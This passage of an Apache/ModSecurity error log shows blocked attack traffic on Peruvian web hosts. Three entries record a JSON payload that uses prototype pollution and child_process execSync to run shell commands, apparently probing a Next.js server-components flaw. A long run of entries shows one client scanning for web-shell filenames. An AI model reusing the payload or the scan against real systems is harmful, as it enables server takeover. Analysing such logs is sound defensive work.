"/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.coldtecperu.com"] [uri "/"] [unique_id "aUPfRORQjpi8jyMWWp6ybQAAAI0"] [Thu Dec 18 06:06:23.880786 2025] [:error] [pid 29976:tid 29999] [client 44.243.241.40:48830] [client 44.243.241.40] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.investigacionperu.com"] [uri "/"] [unique_id "aUPgL4N2OSfkhgv6trQDsQAAANE"] [Thu Dec 18 06:09:09.076597 2025] [:error] [pid 29976:tid 29997] [client 34.220.105.198:53012] [client 34.220.105.198] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, ..."] [sever [hostname "ftp.csi.pe"] [uri "/"] [unique_id "aUPg1YN2OSfkhgv6trQHbwAAAM8"] [Thu Dec 18 06:36:15.599537 2025] [:error] [pid 29976:tid 29995] [client 34.76.252.183:33172] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Thu Dec 18 06:36:16.682916 2025] [:error] [pid 29976:tid 29997] [client 34.76.252.183:33188] File does not exist: /usr/local/apache/htdocs/xmlrpc.php [Thu Dec 18 06:41:43.542840 2025] [:error] [pid 29747:tid 29773] [client 172.190.142.176:40466] File does not exist: /usr/local/apache/htdocs/shoha.php [Thu Dec 18 06:41:43.597878 2025] [:error] [pid 29976:tid 29992] [client 172.190.142.176:40468] File does not exist: /usr/local/apache/htdocs/raw.php [Thu Dec 18 06:41:43.636991 2025] [:error] [pid 29976:tid 29986] [client 172.190.142.176:40474] File does not exist: /usr/local/apache/htdocs/an7.php [Thu Dec 18 06:41:43.681845 2025] [:error] [pid 29976:tid 29994] [client 172.190.142.176:40476] File does not exist: /usr/local/apache/htdocs/333.php [Thu Dec 18 06:41:43.720575 2025] [:error] [pid 29976:tid 30001] [client 172.190.142.176:40480] File does not exist: /usr/local/apache/htdocs/n.php [Thu Dec 18 06:41:43.766432 2025] [:error] [pid 29976:tid 29988] [client 172.190.142.176:40482] File does not exist: /usr/local/apache/htdocs/ahax.php [Thu Dec 18 06:41:43.802210 2025] [:error] [pid 29976:tid 29999] [client 172.190.142.176:40486] File does not exist: /usr/local/apache/htdocs/mds.php [Thu Dec 18 06:41:43.847279 2025] [:error] [pid 29976:tid 30004] [client 172.190.142.176:40488] File does not exist: /usr/local/apache/htdocs/bless5.php [Thu Dec 18 06:41:43.887675 2025] [:error] [pid 29749:tid 29830] [client 172.190.142.176:40492] File does not exist: /usr/local/apache/htdocs/admir.php [Thu Dec 18 06:41:43.982037 2025] [:error] [pid 29976:tid 29991] [client 172.190.142.176:40498] File does not exist: /usr/local/apache/htdocs/moon.php [Thu Dec 18 06:41:44.128705 2025] [:error] [pid 29976:tid 29988] [client 172.190.142.176:40506] File does not exist: /usr/local/apache/htdocs/gmo.php [Thu Dec 18 06:41:44.337384 2025] [:error] [pid 29747:tid 29755] [client 172.190.142.176:40516] File does not exist: /usr/local/apache/htdocs/alfa.php [Thu Dec 18 06:41:44.381328 2025] [:error] [pid 29747:tid 29771] [client 172.190.142.176:40518] File does not exist: /usr/local/apache/htdocs/cong.php [Thu Dec 18 06:41:44.434977 2025] [:error] [pid 29747:tid 29759] [client 172.190.142.176:40520] File does not exist: /usr/local/apache/htdocs/123.php [Thu Dec 18 06:41:44.485615 2025] [:error] [pid 29976:tid 29985] [client 172.190.142.176:40524] File does not exist: /usr/local/apache/htdocs/num.php [Thu Dec 18 06:41:44.534437 2025] [:error] [pid 29976:tid 29998] [client 172.190.142.176:40528] File does not exist: /usr/local/apache/htdocs/lock360.php [Thu Dec 18 06:41:44.623762 2025] [:error] [pid 29747:tid 29769] [client 172.190.142.176:40534] File does not exist: /usr/local/apache/htdocs/NewFile.php [Thu Dec 18 06:41:44.671848 2025] [:error] [pid 29976:tid 29994] [client 172.190.142.176:40536] File does not exist: /usr/local/apache/htdocs/wp-x7.php [Thu Dec 18 06:41:44.708502 2025] [:error] [pid 29748:tid 29789] [client 172.190.142.176:40540] File does not exist: /usr/local/apache/htdocs/p.php [Thu Dec 18 06:41:44.772543 2025] [:error] [pid 29976:tid 29997] [client 172.190.142.176:40542] File does not exist: /usr/local/apache/htdocs/v3.php [Thu Dec 18 06:41:45.012349 2025] [:error] [pid 29976:tid 30005] [client 172.190.142.176:40556] File does not exist: /usr/local/apache/htdocs/system.php [Thu Dec 18 06:41:45.061749 2025] [:error] [pid 29976:tid 29991] [client 172.190.142.176:40558] File does not exist: /usr/local/apache/htdocs/ton.php [Thu Dec 18 06:41:45.108142 2025] [:error] [pid 29976:tid 29994] [client 172.190.142.176:40564] File does not exist: /usr/local/apache/htdocs/555.php [Thu Dec 18 06:41:45.153408 2025] [:error] [pid 29976:tid 29992] [client 172.190.142.176:40566] File does not exist: /usr/local/apache/htdocs/AxAo.php [Thu Dec 18 06:41:45.319461 2025] [:error] [pid 29976:tid 29989] [client 172.190.142.176:40574] File does not exist: /usr/local/apache/htdocs/db.php [Thu Dec 18 06:41:45.387499 2025] [:error] [pid 29976:tid 29985] [client 172.190.142.176:40578] File does not exist: /usr/local/apache/htdocs/nc.php [Thu Dec 18 06:41:45.422623 2025] [:error] [pid 29976:tid 29982] [client 172.190.142.176:40580] File does not exist: /usr/local/apache/htdocs/file1.php [Thu Dec 18 06:41:45.462186 2025] [:error] [pid 29747:tid 29766] [client 172.190.142.176:40584] File does not exist: /usr/local/apache/htdocs/file32.php [Thu Dec 18 06:41:45.503846 2025] [:error] [pid 29976:tid 29987] [client 172.190.142.176:40586] File does not exist: /usr/local/apache/htdocs/hook.php [Thu Dec 18 06:41:45.618739 2025] [:error] [pid 29747:tid 29768] [client 172.190.142.176:40594] File does not exist: /usr/local/apache/htdocs/file4.php [Thu Dec 18 06:41:45.658850 2025] [:error] [pid 29976:tid 29989] [client 172.190.142.176:40596] File does not exist: /usr/local/apache/htdocs/sto.php [Thu Dec 18 06:41:45.703861 2025] [:error] [pid 29976:tid 29990] [client 172.190.142.176:40598] File does not exist: /usr/local/apache/htdocs/ffile.php [Thu Dec 18 06:41:45.764796 2025] [:error] [pid 29976:tid 29985] [client 172.190.142.176:40602] File does not exist: /usr/local/apache/htdocs/403.php [Thu Dec 18 06:41:45.804071 2025] [:error] [pid 29976:tid 29982] [client 172.190.142.176:40606] File does not exist: /usr/local/apache/htdocs/wp1.php [Thu Dec 18 06:41:45.886090 2025] [:error] [pid 29976:tid 29987] [client 172.190.142.176:40612] File does not exist: /usr/local/apache/htdocs/aa.php [Thu Dec 18 06:41:45.979965 2025] [:error] [pid 29749:tid 29808] [client 172.190.142.176:40616] File does not exist: /usr/local/apache/htdocs/666.php [Thu Dec 18 06:41:46.026887 2025] [:error] [pid 29976:tid 29997] [client 172.190.142.176:40620] File does not exist: /usr/local/apache/htdocs/wb.php [Thu Dec 18 06:41:46.080944 2025] [:error] [pid 29749:tid 29819] [client 172.190.142.176:40624] File does not exist: /usr/local/apache/htdocs/chosen.php [Thu Dec 18 06:41:46.125528 2025] [:error] [pid 29749:tid 29811] [client 172.190.142.176:40628] File does not exist: /usr/local/apache/htdocs/fs.php [Thu Dec 18 06:41:46.183399 2025] [:error] [pid 29749:tid 29827] [client 172.190.142.176:40634] File does not exist: /usr/local/apache/htdocs/0x.php [Thu Dec 18 06:41:46.224901 2025] [:error] [pid 29976:tid 29986] [client 172.190.142.176:40636] File does not exist: /usr/local/apache/htdocs/bless11.php [Thu Dec 18 06:41:46.308991 2025] [:error] [pid 29976:tid 29988] [client 172.190.142.176:40640] File does not exist: /usr/local/apache/htdocs/file.php [Thu Dec 18 06:41:46.348879 2025] [:error] [pid 29748:tid 29792] [client 172.190.142.176:40644] File does not exist: /usr/local/apache/htdocs/indo.php [Thu Dec 18 06:41:46.400962 2025] [:error] [pid 29976:tid 29984] [client 172.190.142.176:40646] File does not exist: /usr/local/apache/htdocs/card.php [Thu Dec 18 06:41:46.442776 2025] [:error] [pid 29747:tid 29777] [client 172.190.142.176:40650] File does not exist: /usr/local/apache/htdocs/menu.php [Thu Dec 18 06:41:46.482889 2025] [:error] [pid 29747:tid 29774] [client 172.190.142.176:40652] File does not exist: /usr/local/apache/htdocs/mnkalo.php [Thu Dec 18 06:41:46.534267 2025] [:error] [pid 29976:tid 30002] [client 172.190.142.176:40656] File does not exist: /usr/local/apache/htdocs/222.php [Thu Dec 18 06:41:46.572019 2025] [:error] [pid 29976:tid 29994] [client 172.190.142.176:40658] File does not exist: /usr/local/apache/htdocs/file3.php [Thu Dec 18 06:41:46.619720 2025] [:error] [pid 29976:tid 29998] [client 172.190.142.176:40662] File does not exist: /usr/local/apache/htdocs/031.php [Thu Dec 18 06:41:46.667771 2025] [:error] [pid 29747:tid 29760] [client 172.190.142.176:40664] File does not exist: /usr/local/apache/htdocs/mws.php [Thu Dec 18 06:41:46.713075 2025] [:error] [pid 29747:tid 29771] [client 172.190.142.176:40668] File does not exist: /usr/local/apache/htdocs/dlu.php [Thu Dec 18 06:41:46.760032 2025] [:error] [pid 29747:tid 29776] [client 172.190.142.176:40670] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/about.php [Thu Dec 18 06:41:46.797775 2025] [:error] [pid 29747:tid 29756] [client 172.190.142.176:40674] File does not exist: /usr/local/apache/htdocs/class19.php [Thu Dec 18 06:41:46.842349 2025] [:error] [pid 29747:tid 29766] [client 172.190.142.176:40676] File does not exist: /usr/local/apache/htdocs/wp-the1me.php [Thu Dec 18 06:41:46.887971 2025] [:error] [pid 29747:tid 29768] [client 172.190.142.176:40678] File does not exist: /usr/local/apache/htdocs/lala.php [Thu Dec 18 06:41:46.953911 2025] [:error] [pid 29747:tid 29761] [client 172.190.142.176:40682] File does not exist: /usr/local/apache/htdocs/k.php [Thu Dec 18 06:41:47.013553 2025] [:error] [pid 29747:tid 29762] [client 172.190.142.176:40686] File does not exist: /usr/local/apache/htdocs/admin.php [Thu Dec 18 06:41:47.064356 2025] [:error] [pid 29976:tid 29989] [client 172.190.142.176:40690] File does not exist: /usr/local/apache/htdocs/css.php [Thu Dec 18 06:41:47.111980 2025] [:error] [pid 29747:tid 29775] [client 172.190.142.176:40694] File does not exist: /usr/local/apache/htdocs/1.php [Thu Dec 18 06:41:47.169302 2025] [:error] [pid 29976:tid 29985] [client 172.190.142.176:40698] File does not exist: /usr/local/apache/htdocs/gifclass.php [Thu Dec 18 06:41:47.204845 2025] [:error] [pid 29747:tid 29765] [client 172.190.142.176:40700] File does not exist: /usr/local/apache/htdocs/file9.php [Thu Dec 18 06:41:47.257546 2025] [:error] [pid 29748:tid 29802] [client 172.190.142.176:40704] File does not exist: /usr/local/apache/htdocs/hk.php [Thu Dec 18 06:41:47.329876 2025] [:error] [pid 29976:tid 29995] [client 172.190.142.176:40706] File does not exist: /usr/local/apache/htdocs/yas.php [Thu Dec 18 06:41:47.371863 2025] [:error] [pid 29747:tid 29755] [client 172.190.142.176:40710] File does not exist: /usr/local/apache/htdocs/wp.php [Thu Dec 18 06:41:47.505169 2025] [:error] [pid 29976:tid 30003] [client 172.190.142.176:40714] File does not exist: /usr/local/apache/htdocs/wp-gr.php [Thu Dec 18 06:41:47.552950 2025] [:error] [pid 29747:tid 29767] [client 172.190.142.176:40718] File does not exist: /usr/local/apache/htdocs/owl.php [Thu Dec 18 06:41:47.597833 2025] [:error] [pid 29976:tid 30004] [client 172.190.142.176:40720] File does not exist: /usr/local/apache/htdocs/mo.php [Thu Dec 18 06:41:47.635140 2025] [:error] [pid 29976:tid 29991] [client 172.190.142.176:40724] File does not exist: /usr/local/apache/htdocs/file21.php [Thu Dec 18 06:41:47.680969 2025] [:error] [pid 29976:tid 29999] [client 172.190.142.176:40726] File does not exist: /usr/local/apache/htdocs/ok.php [Thu Dec 18 06:41:47.728583 2025] [:error] [pid 29976:tid 30000] [client 172.190.142.176:40730] File does not exist: /usr/local/apache/htdocs/444.php [Thu Dec 18 06:41:47.772774 2025] [:error] [pid 29976:tid 29992] [client 172.190.142.176:40732] File does not exist: /usr/local/apache/htdocs/zc-903.php [Thu Dec 18 06:41:47.813796 2025] [:error] [pid 29976:tid 29995] [client 172.190.142.176:40736] File does not exist: /usr/local/apache/htdocs/cc.php [Thu Dec 18 06:41:47.857009 2025] [:error] [pid 29976:tid 29982] [client 172.190.142.176:40738] File does not exist: /usr/local/apache/htdocs/nij.php [Thu Dec 18 06:41:47.894575 2025] [:error] [pid 29976:tid 29990] [client 172.190.142.176:40742] File does not exist: /usr/local/apache/htdocs/info.php [Thu Dec 18 06:41:47.940385 2025] [:error] [pid 29747:tid 29764] [client 172.190.142.176:40744] File does not exist: /usr/local/apache/htdocs/radio.php [Thu Dec 18 06:41:47.985473 2025] [:error] [pid 29747:tid 29778] [client 172.190.142.176:40748] File does not exist: /usr/local/apache/htdocs/404.php [Thu Dec 18 06:41:48.104337 2025] [:error] [pid 29748:tid 29787] [client 172.190.142.176:40754] File does not exist: /usr/local/apache/htdocs/tox.php [Thu Dec 18 06:41:48.144623 2025] [:error] [pid 29747:tid 29768] [client 172.190.142.176:40756] File does not exist: /usr/local/apache/htdocs/lo.php [Thu Dec 18 06:41:48.187245 2025] [:error] [pid 29976:tid 29998] [client 172.190.142.176:40760] File does not exist: /usr/local/apache/htdocs/wpls.php [Thu Dec 18 06:41:48.222137 2025] [:error] [pid 29976:tid 29997] [client 172.190.142.176:40762] File does not exist: /usr/local/apache/htdocs/geck.php [Thu Dec 18 06:41:48.278840 2025] [:error] [pid 29749:tid 29824] [client 172.190.142.176:40768] File does not exist: /usr/local/apache/htdocs/inde.php [Thu Dec 18 06:41:48.334779 2025] [:error] [pid 29749:tid 29822] [client 172.190.142.176:40770] File does not exist: /usr/local/apache/htdocs/777.php [Thu Dec 18 06:41:48.370012 2025] [:error] [pid 29749:tid 29830] [client 172.190.142.176:40774] File does not exist: /usr/local/apache/htdocs/luxe.php [Thu Dec 18 06:41:48.423597 2025] [:error] [pid 29749:tid 29809] [client 172.190.142.176:40776] File does not exist: /usr/local/apache/htdocs/2.php [Thu Dec 18 06:41:48.468810 2025] [:error] [pid 29749:tid 29818] [client 172.190.142.176:40780] File does not exist: /usr/local/apache/htdocs/zxin.php [Thu Dec 18 06:41:48.522303 2025] [:error] [pid 29748:tid 29784] [client 172.190.142.176:40782] File does not exist: /usr/local/apache/htdocs/xtt.php [Thu Dec 18 06:41:48.613499 2025] [:error] [pid 29748:tid 29791] [client 172.190.142.176:40788] File does not exist: /usr/local/apache/htdocs/noe.php [Thu Dec 18 06:41:48.659049 2025] [:error] [pid 29748:tid 29797] [client 172.190.142.176:40792] File does not exist: /usr/local/apache/htdocs/class20.php [Thu Dec 18 06:41:48.697092 2025] [:error] [pid 29976:tid 29989] [client 172.190.142.176:40794] File does not exist: /usr/local/apache/htdocs/shellalfa.php [Thu Dec 18 06:41:48.750378 2025] [:error] [pid 29748:tid 29786] [client 172.190.142.176:40798] File does not exist: /usr/local/apache/htdocs/te.php [Thu Dec 18 06:41:48.789514 2025] [:error] [pid 29747:tid 29774] [client 172.190.142.176:40802] File does not exist: /usr/local/apache/htdocs/a2.php [Thu Dec 18 06:41:48.842475 2025] [:error] [pid 29748:tid 29804] [client 172.190.142.176:40806] File does not exist: /usr/local/apache/htdocs/jp.php [Thu Dec 18 06:41:48.895583 2025] [:error] [pid 29976:tid 29983] [client 172.190.142.176:40808] File does not exist: /usr/local/apache/htdocs/cccc.php [Thu Dec 18 06:41:48.947865 2025] [:error] [pid 29976:tid 29988] [client 172.190.142.176:40812] File does not exist: /usr/local/apache/htdocs/fe5.php [Thu Dec 18 06:41:49.004665 2025] [:error] [pid 29747:tid 29760] [client 172.190.142.176:40816] File does not exist: /usr/local/apache/htdocs/sid3.php [Thu Dec 18 06:41:49.072335 2025] [:error] [pid 29748:tid 29796] [client 172.190.142.176:40818] File does not exist: /usr/local/apache/htdocs/v4.php [Thu Dec 18 06:41:49.115819 2025] [:error] [pid 29748:tid 29803] [client 172.190.142.176:40822] File does not exist: /usr/local/apache/htdocs/new4.php [Thu Dec 18 06:41:49.153877 2025] [:error] [pid 29976:tid 29995] [client 172.190.142.176:40824] File does not exist: /usr/local/apache/htdocs/gg.php [Thu Dec 18 06:41:49.194304 2025] [:error] [pid 29976:tid 30002] [client 172.190.142.176:40828] File does not exist: /usr/local/apache/htdocs/wp-update.php [Thu Dec 18 06:41:49.229197 2025] [:error] [pid 29749:tid 29815] [client 172.190.142.176:40830] File does not exist: /usr/local/apache/htdocs/gelap.php [Thu Dec 18 06:41:49.281873 2025] [:error] [pid 29749:tid 29820] [client 172.190.142.176:40834] File does not exist: /usr/local/apache/htdocs/class-t.api.php [Thu Dec 18 06:41:49.317204 2025] [:error] [pid 29749:tid 29810] [client 172.190.142.176:40836] File does not exist: /usr/local/apache/htdocs/000.php [Thu Dec 18 06:41:49.369260 2025] [:error] [pid 29976:tid 29986] [client 172.190.142.176:40840] File does not exist: /usr/local/apache/htdocs/classwithtostring.php [Thu Dec 18 06:41:49.459470 2025] [:error] [pid 29748:tid 29788] [client 172.190.142.176:40846] File does not exist: /usr/local/apache/htdocs/file18.php [Thu Dec 18 06:41:49.497552 2025] [:error] [pid 29976:tid 29997] [client 172.190.142.176:40850] File does not exist: /usr/local/apache/htdocs/v.php [Thu Dec 18 06:41:49.536766 2025] [:error] [pid 29976:tid 30006] [client 172.190.142.176:40854] File does not exist: /usr/local/apache/htdocs/wp-good.php [Thu Dec 18 06:41:49.573945 2025] [:error] [pid 29748:tid 29784] [client 172.190.142.176:40856] File does not exist: /usr/local/apache/htdocs/bless.php [Thu Dec 18 06:41:49.609062 2025] [:error] [pid 29747:tid 29776] [client 172.190.142.176:40858] File does not exist: /usr/local/apache/htdocs/acp.php [Thu Dec 18 06:41:49.645172 2025] [:error] [pid 29976:tid 30000] [client 172.190.142.176:40862] File does not exist: /usr/local/apache/htdocs/g.php [Thu Dec 18 06:41:49.782760 2025] [:error] [pid 29748:tid 29791] [client 172.190.142.176:40870] File does not exist: /usr/local/apache/htdocs/class.php [Thu Dec 18 06:41:49.861867 2025] [:error] [pid 29976:tid 29995] [client 172.190.142.176:40878] File does not exist: /usr/local/apache/htdocs/simple.php [Thu Dec 18 06:41:49.974295 2025] [:error] [pid 29748:tid 29786] [client 172.190.142.176:40884] File does not exist: /usr/local/apache/htdocs/ioxi-o.php [Thu Dec 18 06:41:50.022119 2025] [:error] [pid 29748:tid 29802] [client 172.190.142.176:40888] File does not exist: /usr/local/apache/htdocs/33.php [Thu Dec 18 06:41:50.057103 2025] [:error] [pid 29749:tid 29816] [client 172.190.142.176:40890] File does not exist: /usr/local/apache/htdocs/o.php [Thu Dec 18 06:41:50.140696 2025] [:error] [pid 29976:tid 29990] [client 172.190.142.176:40896] File does not exist: /usr/local/apache/htdocs/wcas.php [Thu Dec 18 06:41:50.237606 2025] [:error] [pid 29748:tid 29796] [client 172.190.142.176:40902] File does not exist: /usr/local/apache/htdocs/f6.php [Thu Dec 18 06:41:50.324788 2025] [:error] [pid 29747:tid 29756] [client 172.190.142.176:40906] File does not exist: /usr/local/apache/htdocs/v2.php [Thu Dec 18 06:41:50.382719 2025] [:error] [pid 29748:tid 29788] [client 172.190.142.176:40910] File does not exist: /usr/local/apache/htdocs/file5.php [Thu Dec 18 06:41:50.446888 2025] [:error] [pid 29748:tid 29783] [client 172.190.142.176:40914] File does not exist: /usr/local/apache/htdocs/lol.php [Thu Dec 18 06:41:50.493757 2025] [:error] [pid 29748:tid 29793] [client 172.190.142.176:40916] File does not exist: /usr/local/apache/htdocs/fileas.php [Thu Dec 18 06:41:50.548725 2025] [:error] [pid 29748:tid 29797] [client 172.190.142.176:40920] File does not exist: /usr/local/apache/htdocs/n3.php [Thu Dec 18 06:41:50.603730 2025] [:error] [pid 29748:tid 29792] [client 172.190.142.176:40922] File does not exist: /usr/local/apache/htdocs/an.php [Thu Dec 18 06:41:50.662571 2025] [:error] [pid 29976:tid 29991] [client 172.190.142.176:40926] File does not exist: /usr/local/apache/htdocs/error.php [Thu Dec 18 06:41:50.733434 2025] [:error] [pid 29748:tid 29804] [client 172.190.142.176:40930] File does not exist: /usr/local/apache/htdocs/wolv2.php [Thu Dec 18 06:41:50.790552 2025] [:error] [pid 29747:tid 29763] [client 172.190.142.176:40932] File does not exist: /usr/local/apache/htdocs/wp-is.php [Thu Dec 18 06:41:50.841739 2025] [:error] [pid 29747:tid 29778] [client 172.190.142.176:40936] File does not exist: /usr/local/apache/htdocs/ava.php [Thu Dec 18 06:41:50.880012 2025] [:error] [pid 29747:tid 29759] [client 172.190.142.176:40938] File does not exist: /usr/local/apache/htdocs/m.php [Thu Dec 18 06:41:50.916945 2025] [:error] [pid 29747:tid 29761] [client 172.190.142.176:40942] File does not exist: /usr/local/apache/htdocs/shell1.php [Thu Dec 18 06:41:50.957480 2025] [:error] [pid 29748:tid 29796] [client 172.190.142.176:40946] File does not exist: /usr/local/apache/htdocs/gdn.php [Thu Dec 18 06:41:51.004087 2025] [:error] [pid 29747:tid 29774] [client 172.190.142.176:40950] File does not exist: /usr/local/apache/htdocs/abc.php [Thu Dec 18 06:41:51.055055 2025] [:error] [pid 29747:tid 29758] [client 172.190.142.176:40952] File does not exist: /usr/local/apache/htdocs/doc.php [Thu Dec 18 06:41:51.106793 2025] [:error] [pid 29747:tid 29771] [client 172.190.142.176:40956] File does not exist: /usr/local/apache/htdocs/autoload_classmap.php [Thu Dec 18 06:41:51.167900 2025] [:error] [pid 29747:tid 29767] [client 172.190.142.176:40958] File does not exist: /usr/local/apache/htdocs/asd67.php [Thu Dec 18 06:41:51.215963 2025] [:error] [pid 29747:tid 29769] [client 172.190.142.176:40962] File does not exist: /usr/local/apache/htdocs/12.php [Thu Dec 18 06:41:51.260868 2025] [:error] [pid 29747:tid 29778] [client 172.190.142.176:40964] File does not exist: /usr/local/apache/htdocs/manager.php [Thu Dec 18 06:41:51.306797 2025] [:error] [pid 29747:tid 29764] [client 172.190.142.176:40968] File does not exist: /usr/local/apache/htdocs/usep.php [Thu Dec 18 06:41:51.370046 2025] [:error] [pid 29747:tid 29768] [client 172.190.142.176:40972] File does not exist: /usr/local/apache/htdocs/auth.php [Thu Dec 18 06:41:51.464518 2025] [:error] [pid 29749:tid 29809] [client 172.190.142.176:40978] File does not exist: /usr/local/apache/htdocs/hello.php [Thu Dec 18 06:41:51.511742 2025] [:error] [pid 29976:tid 29992] [client 172.190.142.176:40980] File does not exist: /usr/local/apache/htdocs/abt.php [Thu Dec 18 06:41:51.547618 2025] [:error] [pid 29749:tid 29812] [client 172.190.142.176:40984] File does not exist: /usr/local/apache/htdocs/jmfi2.php [Thu Dec 18 06:41:51.594643 2025] [:error] [pid 29976:tid 29993] [client 172.190.142.176:40986] File does not exist: /usr/local/apache/htdocs/layout.php [Thu Dec 18 06:41:51.629557 2025] [:error] [pid 29976:tid 30005] [client 172.190.142.176:40990] File does not exist: /usr/local/apache/htdocs/up.php [Thu Dec 18 06:41:51.707149 2025] [:error] [pid 29749:tid 29819] [client 172.190.142.176:40992] File does not exist: /usr/local/apache/htdocs/flower.php [Thu Dec 18 06:41:51.829732 2025] [:error] [pid 29976:tid 30002] [client 172.190.142.176:40998] File does not exist: /usr/local/apache/htdocs/nope.php [Thu Dec 18 06:41:51.878698 2025] [:error] [pid 29976:tid 29982] [client 172.190.142.176:41000] File does not exist: /usr/local/apache/htdocs/js.php [Thu Dec 18 06:41:51.988350 2025] [:error] [pid 29748:tid 29805] [client 172.190.142.176:41008] File does not exist: /usr/local/apache/htdocs/media.php [Thu Dec 18 06:41:52.089299 2025] [:error] [pid 29976:tid 29996] [client 172.190.142.176:41014] File does not exist: /usr/local/apache/htdocs/default.php [Thu Dec 18 06:41:52.207548 2025] [:error] [pid 29976:tid 29985] [client 172.190.142.176:41022] File does not exist: /usr/local/apache/htdocs/wp-load.php [Thu Dec 18 06:41:52.253719 2025] [:error] [pid 29976:tid 29992] [client 172.190.142.176:41024] File does not exist: /usr/local/apache/htdocs/sko.php [Thu Dec 18 06:41:52.312792 2025] [:error] [pid 29976:tid 29995] [client 172.190.142.176:41028] File does not exist: /usr/local/apache/htdocs/new.php [Thu Dec 18 06:41:52.472983 2025] [:error] [pid 29976:tid 29982] [client 172.190.142.176:41036] File does not exist: /usr/local/apache/htdocs/wp-mail.php [Thu Dec 18 06:41:52.520913 2025] [:error] [pid 29976:tid 30000] [client 172.190.142.176:41040] File does not exist: /usr/local/apache/htdocs/png.php [Thu Dec 18 06:41:52.570952 2025] [:error] [pid 29976:tid 30004] [client 172.190.142.176:41044] File does not exist: /usr/local/apache/htdocs/log.php [Thu Dec 18 06:41:52.617556 2025] [:error] [pid 29976:tid 29998] [client 172.190.142.176:41046] File does not exist: /usr/local/apache/htdocs/zwso.php [Thu Dec 18 06:41:52.721869 2025] [:error] [pid 29748:tid 29784] [client 172.190.142.176:41052] File does not exist: /usr/local/apache/htdocs/about3.php [Thu Dec 18 06:41:52.763747 2025] [:error] [pid 29749:tid 29824] [client 172.190.142.176:41054] File does not exist: /usr/local/apache/htdocs/inputs.php [Thu Dec 18 06:41:52.800198 2025] [:error] [pid 29976:tid 29989] [client 172.190.142.176:41058] File does not exist: /usr/local/apache/htdocs/r4f_1.php [Thu Dec 18 06:41:52.847047 2025] [:error] [pid 29747:tid 29755] [client 172.190.142.176:41062] File does not exist: /usr/local/apache/htdocs/ftp.php [Thu Dec 18 06:41:52.904943 2025] [:error] [pid 29747:tid 29756] [client 172.190.142.176:41066] File does not exist: /usr/local/apache/htdocs/content.php [Thu Dec 18 06:41:52.947793 2025] [:error] [pid 29747:tid 29769] [client 172.190.142.176:41068] File does not exist: /usr/local/apache/htdocs/ext.php [Thu Dec 18 06:41:52.991045 2025] [:error] [pid 29747:tid 29763] [client 172.190.142.176:41070] File does not exist: /usr/local/apache/htdocs/himu.php [Thu Dec 18 06:41:53.100737 2025] [:error] [pid 29747:tid 29764] [client 172.190.142.176:41076] File does not exist: /usr/local/apache/htdocs/wfile.php [Thu Dec 18 06:41:53.146698 2025] [:error] [pid 29747:tid 29770] [client 172.190.142.176:41078] File does not exist: /usr/local/apache/htdocs/pp.php [Thu Dec 18 06:41:53.183954 2025] [:error] [pid 29747:tid 29778] [client 172.190.142.176:41080] File does not exist: /usr/local/apache/htdocs/miansha.php [Thu Dec 18 06:41:53.223898 2025] [:error] [pid 29747:tid 29762] [client 172.190.142.176:41084] File does not exist: /usr/local/apache/htdocs/test2.php [Thu Dec 18 06:41:53.339004 2025] [:error] [pid 29976:tid 30003] [client 172.190.142.176:41090] File does not exist: 